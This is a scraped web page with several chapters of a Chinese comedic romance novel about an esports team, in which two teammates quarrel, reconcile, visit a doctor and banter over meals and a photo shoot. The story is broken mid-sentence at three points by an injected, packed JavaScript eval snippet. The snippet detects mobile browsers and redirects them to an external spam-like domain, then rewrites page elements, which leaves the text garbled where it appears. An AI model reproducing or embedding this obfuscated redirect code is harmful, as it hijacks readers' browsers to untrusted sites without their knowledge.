“欸,帮我夹个鸡腿呗?” 廖望延充耳不闻,眼都没抬,还在自顾自吃饭。 最后还是对面坐着的刘国柱帮他夹进碗里,得以结束这尴尬的局面。 吃完午饭后,于琰察觉出了不对劲,像个跟屁虫一样跟在廖望延身后努力找话题。 “你知道吗,大帝今天喝了两盆奶。” “我妈又给你买东西了,下午我去拿。” “今天下午双排玩点啥啊?” 他从楼下跟到楼上逼逼个没完,但廖望延还是一个字都没说。当于琰想跟着他进屋时,却被他一门板拍在了门外。 廖望延在门内拒绝交流,于琰在门外百思不得其解。 吃了个闭门羹于琰还是没往心里去,权当他疯狗病又犯了。 到了下午的训练时间,于琰想叫他双排,第一个字还没说,就听见廖望延终于开了他那张金口:“邵乖,进房。” 以往前四个小时都是于琰和他排,所以邵乖听见这话的时候都愣了,问道:“我?跟我排啊?” “这屋里还有第二个叫邵乖的?” 邵乖听着他夹枪带棒的语气夹紧了尾巴:“哦哦哦好,来了来了。” 于琰只好咽下嘴里的话,皱着眉单排。 四个小时过后,他看着廖望延和邵乖又结束了一把游戏,刚想说话就又被廖望延打断:“等我一会,我去接杯咖啡,一会继续。” 邵乖已经感受到了不详的预兆,小声问:“咱俩已经四个小时了,要不你换个人?” 廖望延故意忽略于琰那双期待的大眼,拎着杯子边走边说:“不换,就你。” 皇上的恩宠有时也不是那么令人欣喜,邵贵人现在只想嚎啕大哭。 于琰的视线跟随着廖望延的背影,当他消失于门口的时候,于琰猛地转过头怒瞪邵乖。 “你给他吃迷魂药了?” “臣妾冤枉啊!臣妾真没有!这福气给你你要不要啊!我都要被骂自闭了!” 于琰不信,仍旧瞪着他:“你就是个狐媚子!肯定是你用下流的手段勾引他了!” “你放屁!明明是你把他惹生气了,我还满肚子委屈没地方说呢,你还恶人先告状!” “我啥也没干!” “你问水哥和小矮子,他是不是从昨天晚上开始就不搭理你了!” 于琰狐疑地看向下路二人组,正巧Nap一直在关注他们之间的对话,看见于琰的目光,他沉默地点了点头。 左星水没回头,边操作边说:“Mesh确实不对劲,我建议你训练结束以后问问他。” 于琰心烦的要命,揪着头发说:“不是说女人心海底针吗?怎么男人心也这样啊!” 他闹心了好一会,听见身后的脚步声猛地回头。 “阿延,你……” 于琰没组织好语言,不知道后面该说什么。 廖望延还是没反应,略过他坐回座位上,转头和邵乖说:“再敢漏兵就把你手剁了。” 邵乖欲哭无泪,只好心不甘情不愿地继续和他双排。 于琰后四个小时异常沉默,但左手边的人似乎毫不在意。 晚上十点,众人卡点结束训练。 邵乖飞速关机冲出训练室,廖望延沉默着慢吞吞地关电脑。 于琰关机其实比邵乖关得还快,但他就是不走,偏要等着廖望延,说什么也要在今天把这个事搞清楚。 廖望延用余光扫了他一眼,默不作声地起身,此时训练室里只剩他们俩。 于琰把自己当成个拦路杆,伸着胳膊挡在他面前,睁着两只晶亮的眼与他对视。 “到底怎么了?我做错啥了你直说,别跟我玩冷战。” 廖望延没吭声,压下他的右臂就要走。 于琰急速退了两步,卡住他的去路。 “不说就别走,我今天跟你耗到底。” “啧。” 廖望延在长达一天半的无视后,终于舍得跟他说了个语气词。 于琰垂下手,将头抵在廖望延肩膀上,委屈得要命。 “干嘛不跟我说话啊?有事说事呗,我也不是不能改。” 廖望延垂眼看着他的头发,很多话他想说,但没法说。 他能说什么? 说喜欢他五年,也怂了五年,想求他给个机会? 说气他宁愿相信自己有病,也不相信对自己有除了兄弟之外的感情? 说气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788489|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己不争气,对现在的关系束手无策? 说不出口,也不敢说。 自昨天从于琰房间出来后,廖望延心里一直堵着一口气。 他知道自己开口肯定会让于琰不舒服,昨天下午他也确实是那样的,所以他逼着自己不说话,不看于琰,侥幸地幻想也许过两天自己就把这种焦躁消化掉了。 但当于琰把头抵在自己身上,委屈地埋怨时,廖望延又觉得自己真不是人。 “我……” “你什么?你说,我都能改。”于琰没抬头,闷声道。 “你不需要改,是我自己出问题了。” 廖望延抬手按住于琰的后脑勺,另一只手揽着他的腰,用了些力气把他箍在自己怀里。 于琰被他这么一抱更委屈了,用胳膊环着他的脖颈没再说话。 他们两个人的身高只差4公分,拥抱起来不需要任何一个人去将就,两人都陷入长久的沉默。 房间沉寂后,廖望延更清楚地听见了于琰的呼吸声,就在自己耳边,平缓又稳定,让他那颗持续躁动的心也跟着一起平静了下来。 “对不起,以后不会这样了。”廖望延又紧了紧双手,将头埋进他的脖子里说。 于琰觉得自己好像又犯病了,心脏又开始狂跳,呼吸也开始困难。他刚想开口,却不想训练室的门被第三人推开。 邵乖握着门把手看着相拥的二人目瞪口呆,心里开始飞速过弹幕—— [为什么他俩还没走?不对,我为啥要来?靠……我忘了。] [他俩为啥抱在一块?交流感情的新方式?] [什么意思?他俩搞在一块了???] [我靠了,皇后从冷宫出来了,我这个贵人今天在他眼皮子底下和皇上眉来眼去,明天不会直接降为答应吧?] [你俩吵架拿我撒气是吧,根本没有人在意我这一晚上有多难熬。] [都是你们这些臭情侣的小把戏。] [如果我现在过去和他俩抱在一起会减少一些尴尬吗?俗话说的好,三人行……必有队友。] [不是……廖望延瞪我干嘛啊?于琰怎么也瞪我啊?我招谁惹谁了?] “那个……”邵乖按下心中腹诽,指了指自己的桌子,“我ipad忘拿了。” 他三两步冲到自己桌子前,抱着ipad就往外冲,临走前还不忘了轻轻把门带上,嗫嚅着说:“你们继续。” 于琰听见开门声的时候就想往后退了,奈何廖望延的手按在自己腰上纹丝不动,他只能扭着脑袋看,但身体无法动弹。 廖望延面无表情地盯着邵乖干完所有事,看着门被关上,他重新将头埋回于琰侧颈。 “别动,让我再抱会。” 又过了五分钟,于琰真快忍不住了,他觉得自己的心跳声都要被廖望延察觉到了。 “好了。”廖望延终于仁慈地放开了他,“你定个闹钟,明天七点半起床。” “啊?”于琰没跟上他的脑回路,“那么早起床干啥?” 廖望延用大拇指指腹蹭了两下他的颈侧,看他被痒得缩了缩脖子,轻声道:“带你去看病。” 于琰立马推脱:“不用了吧,百度说这不是啥大毛病。” 廖望延捏了捏他的耳垂。 “我不是在和你商量,我是在通知你。” 46.Chapter 46 翌日早晨。 于琰半梦半醒间被廖望延从被子里拽出来洗漱。 要不说认识很多年也不是什么好事呢,廖望延就知道于琰肯定没把自己的话放心上,没准还故意不定闹钟,赌的就是极小概率的自己不会叫他起床。 可惜,廖望延今天铁了心要让于琰知道自己没病。 “你自己去洗漱还是我抱你去?”廖望延淡然问道。 “烦死了烦死了,你真是烦死人了。” 于琰扑腾了半天才磨磨唧唧干完所有事,被廖望延像拖死狗一样拖下楼。 临关基地大门前,于琰还扒着门框向黑天大帝求助:“教主!救我!” “汪!” 大门被廖望延无情关闭,教主与它的大首席从即刻起分别两地。 然后就是开车、挂号、医生会诊。 廖望延随便挂了个号,也没挑什么主任副主任,毕竟他知道于琰根本没病,压根没必要浪费那个钱。 年轻的女医生听完于琰的话用听诊器听了听,狐疑着说:“你这听着没什么问题啊。” 于琰斩钉截铁地说:“不可能,医生,你再好好听听,我真有病!” 医生又看了看站着的廖望延,眼里的意思很明显—— 一切正常,非常健康。 廖望延嘴角抽了抽,捂住于琰逼逼个不停的嘴,无奈道:“医生,你看这样行不行,既然他觉得自己有病,你就让他做个心电图、超声、X光什么的,他这人脑子有点问题,不让他看见数据他肯定不信。” 在于姓患者的强烈要求下,他本人终于做上了全套检查。 廖望延陪于琰排队检查了一上午,倒也算是幸运,这些结果出的都还比较快,他俩拿着一堆单子回到医生诊室问情况。 女医生看了看检查报告,又推了推搭在鼻梁上的眼镜,斩钉截铁地说出两个字:“没病。” 于琰还想再挣扎一下,又被廖望延捂住嘴,后者边笑边拖走他,临出门前还不忘了和医生客套一下:“多谢多谢,下次有病还来找您。” 二人出了医院打道回府。 廖望延边开车回基地边调侃于琰:“说吧,我看你还有什么好说的。” 于琰低着头看手里的检查单,一根筋地回:“我还是觉得我有病。” “医生都说你没病了还不信?” “那没准我这病是间歇性的,不发作的时候查不出来。” “牛逼,您这属于ssr级别的窦性心律不齐,有俩隐藏技能,又有指向性又有间歇性?” “应该是。” “是个屁。” 医院离基地不远,开车也就不到20分钟,廖望延拎着于琰的后颈进基地,正赶上其他人吃午饭。 “哟,你俩这是干嘛去了?”刘国柱问。 廖望延把于琰按在椅子上,解释说:“带他看病。” 刘国柱顿时紧张了,忙问:“啥?于琰你得病了啊?啥病啊?严不严重?” 于琰挠了挠头:“也没啥,就是心脏上的毛病,不严重。” 刘国柱更慌了:“啥?!心脏出问题了?!” 廖望延从于琰手里抢走检查报告,扔到刘国柱怀里,说:“他健康到三天不吃饭都饿不出病,你们别听他瞎嚷嚷,他就算有病,也是脑子上的毛病。” “那于琰干嘛老上赶着说自己有病?那你干嘛还要带他去医院?” 刘国柱看了半天检查报告,但他毕竟不是医生,那一堆数据也看不出个所以然,没搞明白这其中的逻辑。 廖望延夹着菜随口说:“他暗恋我,一看见我心就怦怦跳,以为自己得病了,我带他去检查一下给他解个心宽。” 这话一出口,饭桌上顿时寂静一片。 几秒后,众人眼中闪烁着复杂的光芒看向于琰。 邵乖:“原来老子昨天真的打扰你们了。” Nap:“于琰你怎么老吃窝边草啊?” 左星水:“小琰,原来你是容陷爱体质……” 老姚:“于琰你敢对我的预备役副教练出手?!” 刘国柱:“谁把医药箱里的速效救心丸给我喂两粒?” 还没等于琰反驳,Nap听见邵乖的话又狐疑着问他:“你昨天都看见啥了?” 邵乖迅速瞄了两个当事人一眼,偷偷摸摸凑到Nap耳边小声嘟囔:“我看见他俩在训练室里抱着。” Nap深吸一口冷气,震惊地看着邵乖,又贴到左星水的耳边:“邵乖说,他俩昨天在训练室里搂搂抱抱,扯都扯不开。” 左星水意味不明地看了一眼于琰和廖望延,又将话传给刘国柱:“他俩浓情蜜意,趁着训练室没人亲亲抱抱。” 刘国柱差点没一口口水呛死自己,惊恐地看着二人,传话到老姚耳朵里:“他俩亲了。” “啥?!你俩亲嘴了?” 老姚一嗓子震得天花板都能抖三抖。 “不是!亲什么嘴啊我靠!谁和谁亲嘴?我和廖望延?邵乖你他妈是不是疯了?!造谣造到你爹头上了?!” 于琰感觉自己浑身上下就算长了八张嘴都解释不清了,廖望延那个暗恋还没解释,这又冒出个亲嘴。 廖望延坐在于琰旁边又加了把火:“确实如此,他想亲我但我没同意,我觉得没确定关系就这样有点太轻浮了。” 于琰扭头看廖望延,连瞳孔都在震动,两秒钟后朝他怒喊:“你他妈闭嘴吧你!” 廖望延只好对着其他人耸了耸肩:“他索吻被拒有点丢面子,你们就理解一下吧。” 饭桌上的其余五人皆用一种‘你真是个畜生’的眼神看着于琰。 “不是,他说啥你们都信啊?杀人犯还能上诉呢,你们也得给我个解释的机会吧?”于琰是真红温了,忙不迭地解释,“老子看见他裸上半身有点心跳加快咋了?你们看身材好的不羡慕?这他妈就能代表我暗恋他了?一会我把他衣服扒了给你们看看,你们也心跳加速。” 邵乖坐在于琰对面撇了撇嘴,又正巧被于琰看见,火力瞬间被引到他身上。 “还有你!你撇什么嘴!我还没跟你算账呢!昨天晚上我俩就是抱了一下,单纯的兄弟情!怎么到你嘴里就成亲嘴了?你那两只眼要是用不着就抠了!嘴要是用不上就缝上!” 邵乖满腹委屈:“我没说你俩亲嘴……我就说你俩抱了,怎么老是我倒霉啊……” 于琰最后将目光放在罪魁祸首身上,指着廖望延的鼻子威胁:“再敢说些有的没的让他们误会,我就把你剁成肉馅浇上羊奶给大帝加餐!” 廖望延没说话,仍旧笑眯眯地看于琰。 “看什么看?!吃饭!”于琰吼他,吼完又瞪其他人,“你们也给我老老实实吃饭,再敢吃我的瓜就把你们都杀了!” 于琰化愤怒为食欲,吃饭的全程硬是吃出了一种野兽进食将猎物生吞活剥的既视感。 吃完之后他擦了擦嘴,无视众人的目光起身,干脆利落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804342|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地离席。 廖望延背对着于琰,听见他的脚步声逐渐消失,轻声和餐桌上的其他人聊小话:“你们别怪他,他脸皮薄,不好意思让你们知道他的内心想法。” 老姚:“……” “唉,他心里肯定也不舒服,毕竟喜欢上我这种多年好友,内心肯定要挣扎好久。” 刘国柱:“……” “其实我也在考虑当中,毕竟还是要以职业为重,但他最近对我示好得太明显了,我确实有点困扰。” 左星水:“……” “希望你们不要用有色眼光看于琰,他也没什么错,喜欢帅哥有什么错呢?人之常情罢了。” Nap:“……” 廖望延看着他们都在沉默,挑起眉疑惑地问:“怎么都不说话?” 邵乖指了指他身后,眼神飘忽。 “你扭头自己看看吧。” 廖望延顿时感觉自己后背升起一丝冷汗。 廖望延缓慢地转头,看见于琰站在自己身后像一尊活阎王,面无表情地抱着臂,眼神直勾勾地盯着自己。 二人对视后,于琰发出一声天凉王破地轻笑,对廖望延抬了抬下巴:“你跟我走还是我用强制手段?” 廖望延立刻切换乖巧形态,起身跟在于琰身后亦步亦趋。 邵乖瞟了瞟其他人,捂着嘴问:“他俩不会打起来吧?” Nap摇摇头:“不至于,他俩的日常操作罢了。” 坐在最边上的刘国柱和老姚边吃边聊:“假的吧?” 老姚点头:“肯定是假的。” 刘国柱:“如果是真的,应该就不敢这样当众说了。” 老姚:“确实。” 他俩对视一眼,双方都露出个看破一切的睿智眼神。 等于琰领着廖望延进了自己房间,前者才露出了自己的真面目。 “你他妈嘴上没个把门的是吧!”于琰边骂边踹他。 廖望延边躲边解释:“你急什么,反正他们也知道是假的。” “假的你就能坏我名声了?!” 于琰真是气坏了。他就知道廖望延要背着自己说些有的没的,离席时故意装作走远了,实际上蹑手蹑脚又回到廖望延身后,就为了看廖望延还能说出什么离谱的话。 “反正你也不喜欢我啊,口嗨一下怎么了?吃饭的时候给大家添个乐子罢了。” “你他妈永远有话说!” 二人扭打在一起,不对,不能说扭打,应该说是于琰单方面殴打,廖望延被动接受。 两个人双双倒在床上,于琰骑在廖望延身上用拳头乱锤,手指间还夹着几根从廖望延头上薅下来的头发。 廖望延装模做样地挣扎,实际上压根就连三分力都没用上。 昨天晚上廖望延仔细想了想,让自己放弃于琰是肯定做不到,那不如就从现在开始给于琰做脱敏训练。 不是不喜欢自己吗?那好办啊。 既然不喜欢,那他就多说些暧昧的话,反正都是兄弟,口嗨罢了。 既然不喜欢,那他就多做些暧昧的事,反正都是兄弟,手欠罢了。 时间久了于琰自然而然就习惯了,习惯了就不反抗了,不反抗就能更进一步了。 反正问起来就是:你又不喜欢我,你急什么? 廖望延下定了决心要死猪不怕开水烫,大不了天天被于琰打呗。 能把对象搞到手比什么都重要,□□疼痛罢了,都是小事。 47.Chapter 47 自二人从医院回来以后,廖望延像是得了一种不贴贴就会死的病。 “你能不能从我身上滚下去?”于琰盘腿坐在沙发上无语望天,“我终于知道你以前为什么嫌我烦了。” “不能。” 廖望延坐在于琰侧后方,伸出一条长腿环着他,另一条腿自然地垂在沙发边。 他两臂松松揽着于琰的腰,将自己的整个上半身贴在于琰脊背上,下巴搭在于琰颈侧,悠闲地答话。 “你真的很像恐怖小说里那种趴在主角背上随时准备杀主角的恶鬼。” “那以我这种美色也起码是个boss级别的鬼。” 于琰翻了个白眼:“你真是越来越不要脸了。” “邵乖,给我扔个橘子。”廖望延散漫地和对面沙发上的人提要求。 五秒后,他稳稳接住一颗抛来的水果,伸着脖子在于琰小腹前剥开橘子皮,往自己嘴里塞了一半橘肉之后,又把剩下的塞进于琰嘴里。 “我真是快要看不下去了,要不于琰你就把他收了吧,他现在像一只天天都在对你开屏的公孔雀。”邵乖一脸嫌弃。 “闭上你的臭嘴,又欠训了?晚上跟我排俩小时。”廖望延送了邵乖一个威胁的眼神,又用下巴在于琰肩上蹭了蹭,“小于同学巴不得我天天这么搂着他,对不对啊?” 于琰闭上眼企图将自己化为空气,立刻逃离这座基地。 “说话。” 廖望延等了半天没等来于琰的回应,不耐烦地紧了紧胳膊,将他搂得更紧了些。 于琰被勒得呼吸顿了一下,不耐烦地回:“对对对,你搂着吧,训练也搂着,洗澡也搂着,睡觉也搂着。” “小邵同学听见没?”廖望延朝对面的人挑挑眉,又矜持地拒绝了于琰的提议,“不过洗澡就不搂了吧?有点羞耻,原来你喜欢这种play。” 于琰朝对面的几人投去一个求助的目光,却被所有人选择性忽视。 一周了,廖望延犯这个疯狗病都一周了! 于琰被磋磨得已经毫无反抗欲望了。开始的前两天他还强烈抵御这种邪恶攻击,直到发现廖望延死猪不怕开水烫一般的行事准则后,他就苦着脸默默接受了。 左星水边吃橘子边看表,问其他人:“刘哥不是说有事吗?咱们在这等了15分钟了,他怎么还没来?” “他可能和老姚在会议室里苟且。” 于琰开始空口造谣,既然自己不好过,那就都别好! Nap拧着眉头露出一副不堪入耳的表情,说:“太恶心了,请你收回刚才的话,不然我没法直视他俩了。” “那咋了?战队经理和战队教练谱成一段佳话,小说里都没见过这种题材。”于琰越说越上瘾,“二人随着认识时间越来越长,突然发现对彼此有了一种莫名的情感,从此之后不敢直视对方,一直视就脸红,然后背着队员搞起了黄昏恋!” 邵乖放下自己手里剩余的橘子瓣,脑子里莫名幻想出了这种情景,不由得打了个寒颤:“世间竟有如此恶心的故事情节?你能想出这种剧情,你也很恶心。” 老姚和刘国柱刚从训练室出来就听见于琰在编排他俩,二人默不作声地站在于琰身后静静聆听。 “他俩都是直男,因对电竞的喜爱同时进了咱们战队,时间久了逐渐产生对对方惺惺相惜的情感。” “他们一开始以为这是互相欣赏,却未曾想到爱情的火苗已经开始在他们身上缓缓燃起。” “国柱越来越无法隐藏自己的心意,终于决定在今天和老姚袒露自己的心声。他惴惴不安地将老姚叫进会议室,豆豆鞋在瓷砖上来回磨蹭,黑色的皮裤因阳光的照射而反出异常夺目的光芒。” “老姚皱着眉头问他什么事,他犹豫了半天,深吸一口气终于说出……哎呦!” 于琰捂着脑袋往后看,只见他编排的二人就站在自己身后,像黑白无常一样一左一右。 “我都捏你手指头提醒你了,可别怪我不讲义气。”廖望延不嫌事大地开口。 他真提醒了,可惜于琰刚才说得太上头,一把甩开他的手,根本没往这方面想。 刘国柱恨不得现在就回家换掉这条裤子这双鞋。 为什么?晦气! “你这一周的训练,每天都加一个小时。”老姚面无表情地看着于琰。 “别别别!错了错了!这不是呆着没事聊天吗!”于琰一听加训立马开始讨饶,“这个世界根本没人配得上姚哥,你是电你是光你是唯一的神话!刘国柱他连给你提鞋都不配!” 刘国柱闻言冷笑一声:“是吗?你不敢得罪他敢得罪我是吧?你别忘了,你的薪水都得由我经手。” “不是!刘哥!你听我说!老姚只是我的障眼法,其实我一直都深深的仰慕您啊!不管是您的商业手腕还是对内管理,最重要的是您的时尚品味,都早已捕获我的芳心!” 廖望延一听这话不愿意了,捏住于琰还想说话的嘴,不满道:“他捕获你的芳心?你的芳心不是早就放我身上了吗?” 于琰拍开廖望延的手低声威胁:“少他妈给我添乱,没看老子现在是生死存亡之际吗?” 刘国柱也懒得再和于琰计较,绕到沙发前坐下,开始和众人说正事:“明天训练暂停一天,咱们去拍战队宣传照。” 老姚撑着靠背接话:“德杯已经开始了,大多数队伍都和咱们一样没上主力队员,但是也有几支为了磨合队伍上了首发,其中就有DL。” 老姚顿了顿,不知是想起了什么,过了两秒又继续说:“之前不是没和DL打成训练赛么,我看了一下,他们大后天就有比赛,咱们去观摩一下。” “就当给你们放一天假。”刘国柱接话。 邵乖兴奋地海豹鼓掌:“好好好!明天也不训练!大后天也不训练!能不能把后天也安排上,给我们凑个三连休呗?” 老姚微笑着看他:“后天把你打进医院,让你未来一年都不训练,好不好啊?” “我爱训练!谁不让我训练我和谁拼命!”邵乖立刻坐直,向老姚表达自己真诚的心。 “就知道臭贫,再多说一句你就和于琰一个下场。” 于琰当乖巧宝宝当了半天,还以为能弥补刚才妄言的过失,没想到老姚还记着这个事。 廖望延捏了捏于琰的耳垂,偏头小声和他说:“别摆出一副要死的样,明天和大后天都不训练,肯定不会单独让你训一小时,剩下的五天我陪你打。” 于琰顿时眉开眼笑。 刘国柱看着二人的小动作咂了咂嘴,对着于琰真诚道:“不行就嫁了吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817903|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我同意你俩这门亲事了。” 搂在一起的人同时说话—— 于琰:“谁他妈嫁啊?要嫁也得是他嫁!” 廖望延:“刘哥,吃席那天你坐主桌。” 二人对视一眼开始争吵,完全不顾其他在场的人。 廖望延:“你嫁,没得商量。” 于琰:“我嫁你奶奶个锤子!” 廖望延:“粗鲁,多么粗鲁的语言。” 于琰:“别说废话,你就说你嫁不嫁?” 廖望延:“嫁也行。” 于琰:“……” 于琰:“???” 廖望延:“咋了?让你嫁你也不愿意,那我退一步呗。” 于琰:“不是!不对劲!我他妈没想娶你,廖望延你敢套路老子!” 队里的其他人坐在他们二人对面,一人手里一把瓜子,边磕边交流。 邵乖撞了一下Nap的肩膀,朝斗嘴的二人努了努嘴,问他:“下个盘?” “啥盘?” “他俩谁会是晚上去下面的那个。” 邵乖这话没收着声音,所有人都听了个真切。仿若空气都停滞了一瞬,所有人都将视线齐齐聚在他身上,连两个盘中当事人都不例外。 “咋了?看我干啥?”邵乖问。 于琰皱着眉上下打量他,眼神就像是两道X光射线,要把邵乖从里到外看个清楚。 半晌后,于琰才开口:“邵乖,你不会……” 廖望延接话:“不能吧。” Nap:“有可能。” 左星水:“可能性不大。” 老姚:“真有可能?” 刘国柱:“只有一丁点可能。” 邵乖瞪着眼问:“啥不会?啥可能?啥不可能?咋就可能了?” 于琰觉得他在装傻。 “你自己说的话你不明白?” 邵乖更不明白了:“我说啥了?你俩都谈上嫁不嫁的事了,等真敲定了肯定有一个人要包揽半夜煮泡面的事啊。基地女……emmm,基地儿婿包揽夜宵不是应该的吗,我们都相当于是娘家人,不把我们伺候好了不怕以后被穿我们小鞋?” “……” “……” “……” 邵乖把手里的瓜子皮扔进垃圾桶,又倚着沙发背开始剥桔子,继续说:“正好不用咱们五个人天天石头剪刀布了。妈的老是老子输,老子都连着刷了四天五个人的碗了,烦都烦死了。对了,豚骨面快没了,你们记得补货啊。” 众人长舒一口气。 于琰死咬着牙,离他最近的廖望延甚至能听见牙齿磨动间发出的细响。 “以后把话说全了,再敢漏字,漏一个我掰你一颗牙!”于琰说。 “???”邵乖无语了,“没人权,根本没人权,队里全是恶霸,我要挂牌走人。” “想挂牌是费劲了,你生是HG的人死是HG的鬼。”刘国柱道。 邵乖指着对面的于琰和刘国柱提要求:“那我要求让他停止对我的人身攻击和人身威胁!” 廖望延自然要向着于琰说话:“驳回要求。再敢多逼逼今天就让你和那只贱狗睡一个窝。” 恰巧此时基地吉祥物正溜达到众人脚下。 “汪!” 48.Chapter 48 邵乖闹了好半天,嗓门高得都快把基地的房顶捅破了,一人一狗搅得基地里鸡飞狗跳。刘国柱有心想帮,但奈何廖望延这个人面兽心的狗东西嘴上答应的挺好,说会约束于琰,但等刘国柱走了还是帮着于琰欺负邵乖。 邵乖虚抹了一把伤心泪,经此一役他算是看明白了,什么人权,什么尊重,在这个基地里根本就是不存在的东西! 拍摄战队宣传照的前一晚刘国柱把队服发给了所有人,特意叮嘱他们暂时别洗,等拍完照片再洗。就是怕这一群糙汉子们把队服洗皱明天上镜不好看。 HG去年的队服是白色带浅粉色条纹的。今年成绩不算太好,掉了一些投资商,但自从廖望延进队后,又靠着他的名气招揽来了好几个新的投资。之前的队服自然无法再用,刘国柱在一周前给众人发了个投票,让他们选出自己心仪的队服款式。 或许年轻的男生们大多都偏爱黑色,觉得这个颜色更酷,所以队服的最终款式也决定以黑色为主基调。 队服分为一件半袖T恤、一条休闲长裤、一件长袖外套。 半袖T恤几乎没有花纹,左胸前是所有投资商的logo,背后两扇肩胛骨正中间的位置是各位选手的id和战队图标。 裤子没什么特色,就是普普通通的黑色运动裤,只侧边带着两条白色条纹作为运动点缀。 最让大家喜爱的还是那件外套。黑白拼色,版式硬挺,两条白色条纹交叉环绕在胸前,左侧肩膀上印着队员的id,右侧肩膀是战队图标,每人的队服右下衣角处都绣着各自代表的小图案。 廖望延是一张网、于琰是一条卡通鲨鱼、左星水是一颗星球、Nap是一张小床、邵乖是一只小老虎。 这件外套就算是日常穿出去也不会显得突兀,搭上那条队服运动裤都能算ootd了。 拍摄那日的早晨6点半。 众人起的比当初旅游还早,除了廖望延之外没人能睁开双眼,都七倒八斜地坐在商务车里。 刘国柱也困,不知道他前一天都做了什么工作,反正忙活到了后半夜,他连自己的小家都没回,直接从基地的客房里凑合了一晚,所以今天开车的司机从他变成了老姚。 于琰坐在最后一排的最右侧角落,他训练到凌晨2点半才回屋睡觉,一脑袋扎进床里连衣服都没脱就酣然入梦,只睡了四个小时左右就被叫起来,现在困得像是随时就要暴毙。 以于琰现在的精神状态根本控制不住自己的身体,他一开始还仰着头补觉,睡着睡着就变成将脑袋倚在车窗上,车子只要稍微有点颠簸,他的脑袋就会砰砰砰的砸在玻璃上。 廖望延听了几声后实在听不下去了,推了推左手边的人:“往旁边挪挪。” 邵乖萎靡地抬眼:“干嘛?你干脆让我从车上滚下去得了。” “于琰睡得不舒服,你往旁边再去一点,我让他躺我腿上。” “他是人我就不是?你怎么不说让我躺你腿上?” “废什么话,挪不挪?” 邵乖瘪着嘴往旁边挤了挤,直至半边身子贴着车身。 廖望延挪了挪屁股,伸手揽过于琰正和车窗热吻的脑袋,轻声和他说:“躺我腿上。还有一小时的路程,你再多磕几下更傻了。” 于琰哼哼了两句也没回嘴,闭着眼顺着廖望延手的力道侧躺在他大腿上,车的后排空间不够,他只能蜷缩成一小团窝着睡。 廖望延看着于琰的姿势皱了下眉,这么睡一看就舒服不了,可现如今却也没有更好的办法。他斜眼撇了邵乖一下,此刻觉得后者万般碍眼。 邵乖如果此刻是清醒的,看见廖望延的眼神势必要将眼泪流成长江,还得长叹一声—— 两个畜生! 邵乖一开始还仰着头抱着臂睡,到后半程也睡得有点歪歪扭扭,车的轮胎碾过路面上的一个小坑颠簸了两下,他无意间就把脑袋搭在了廖望延肩上。 感受到自己肩膀上压下重量的廖望延面无表情地从于琰头发上拿下右手,半点不留情面地将邵乖的脑袋推向了车窗那一侧。 邵乖被这动作扰醒,揉了揉眼问:“咋了?” 廖望延没吭声,扫了扫自己的肩膀,将手重新搭在于琰头上。 拍宣传照的摄影棚不在基地附近,开车过去起码一个半小时的车程。 说来也凑巧,刘国柱特意挑了个工作日去拍摄,就是为了避免人太多,却没想到众人从商务车上下来后,正巧撞见NWG的所有成员。 老梁和刘国柱握了握手,问:“挺巧,你们在哪个棚拍?” 刘国柱指了个地方,老梁点点头:“我们在隔壁拍,一会拍完再聊。” 两队的教练今天纯粹是充当司机的,棚外碰见就肩膀搭着肩膀去找地方吃早点了。 廖望延跟FLY这个老队友招了招手,没和后者寒暄就揽着还没醒神的于琰进了屋。 FLY本来也挺困,一看见廖于二人的模样瞬间被气清醒了。 啥意思?他现在只配一个招狗的姿势了?连说句话都不配了?怎么说他也算是个前任吧?和平分手就被廖望延这个渣男如此对待?错付了!真是错付了! 廖望延当然不知道FLY此刻的心理活动,他跟在HG众人身后,被刘国柱带着往里走,拐了几个弯后刘国柱把队员们塞进了化妆间。 “你们在这等会,化妆师马上就过来了,我去给你们买点吃的。” 刘国柱边嘱咐边往外走,正好撞上要进门的化妆师,他连忙道了两句歉才错身而过。 HG有五个人,化妆师只有两个,都是女生,一个短发一个长发。二人看了看众人的外貌条件,又凑在一起嘟囔了两句,最后决定先化邵乖和吴醒,然后是左星水,最后是廖望延和于琰。 Nap对不熟的人有点社恐,邵乖就不一样了,看见化妆师的安排他没过脑子就开口问:“是越难化的越放在前面吗?” 负责他的短发化妆师扑哧一声乐了出来,也不好说的太直白,只能委婉地承认:“他们三个底子比较好。” 负责Nap的化妆师真诚地和Nap说:“其实你不是难化,但你黑眼圈和痘印都有点重,你是不是总熬夜呀?” 邵乖嗤笑了一声,道:“我们五个人里数他睡觉睡得多,熬个屁的夜,晚上十点他就哈欠连天了。” 长发化妆师意外道:“不熬夜黑眼圈还这么重啊。” 